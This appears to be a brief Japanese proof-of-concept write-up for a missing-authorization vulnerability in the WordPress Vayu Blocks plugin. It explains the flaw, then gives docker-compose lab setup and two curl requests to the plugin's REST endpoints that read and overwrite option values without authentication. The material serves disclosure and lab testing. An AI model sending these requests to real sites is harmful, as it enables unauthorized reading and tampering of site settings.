
CVE-2025-2568の概念実証エクスプロイト。WordPressのVayu Blocksプラグインにおける権限チェック欠如を悪用し、プラグインオプションへの不正アクセスおよび改ざんを実証します。
WordPress 用プラグイン Vayu Blocks – Gutenberg Blocks(WordPress & WooCommerce 向け)は、バージョン 1.0.4 から 1.2.1 において、vayu_blocks_get_toggle_switch_values_callback および vayu_blocks_save_toggle_switch_callback 関数に権限チェックが欠如しているため、不正アクセスおよびデータ改ざんに対して脆弱です。これにより、認証されていない攻撃者がプラグインのオプションを読み取り、キー名が _value で終わる任意のオプションを更新することが可能になります。
cd vuln-wordpress
docker-compose up -d
cd wp-content/plugins/
unzip vayu-blocks.1.2.0.zip
curl http://localhost:8080/wp-json/vayu-blocks/v1/get-toggle-values/
curl -X POST http://localhost:8080/wp-json/vayu-blocks/v1/save-toggle-switch \
-H "Content-Type: application/json" \
-d '{"key":"container", "value":"new_value"}'